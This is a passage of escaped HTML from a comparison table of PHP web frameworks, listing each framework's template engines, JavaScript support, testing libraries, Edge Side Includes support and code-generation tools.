id=&quot;v68_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;SOAP / WebServices&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v20_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v20_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v20_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v20_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Template System&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Fast, simple built-in passive template engine&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;XSLT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom but Smarty/Twig can be used&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP, CCTemplates&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP, Simple template parser &quot;{var_name}&quot;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP, Simple template parser &quot;{var_name}&quot;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP, custom plugin, Twig, Haanga, Smarty, etc.&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP, Dwoo, HAML, JADE, Markdown, Mustache, Smarty, Twig&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;jTpl&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Blade, PHP, Custom&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Blade, PHP, Custom&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Built-in Twig support&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Smarty and PHP&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP&lt;br /&gt;
Twig&lt;br /&gt;
Smarty&lt;br /&gt;
PHPTal&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP, Twig&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP and Prado&#39;s - Several others using Extensions (Razor, Smarty,
Twig, etc)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_20&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Smarty&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v21_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v21_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v21_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v21_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Web2.0&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Full jQuery, jQuery UI, Grid System, Native AJAX, Popovers, Custom
JS widgets&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Full jQuery, jQuery UI, Grid System, Native AJAX,RestFul&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;jQuery HTML5boilerplate&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;jQuery HTML5boilerplate&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;JS-library agnostic&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;JS-library agnostic&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;jQuery&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;JS-library agnostic&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;built-in jQuery and Prototype&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;jQuery&lt;br /&gt;
Html5bolierplate&lt;br /&gt;
Twitter Bootstrap&lt;br /&gt;
Modernizr&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;built-in jQuery, extendable to any javascript framework&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_21&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v22_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v22_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v22_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v22_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Testing library&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom, &quot;Tester&quot; class or PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit (In development)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit (In development)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit, Selenium&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPUnit&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_22&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v23_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v23_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v23_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v23_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Edge Side Includes&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; include tag only&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_23&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v24_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v24_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v24_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v24_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Code generation&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Discouraged&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Mkbuilder: générateur Web&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Discouraged, use advanced configuration 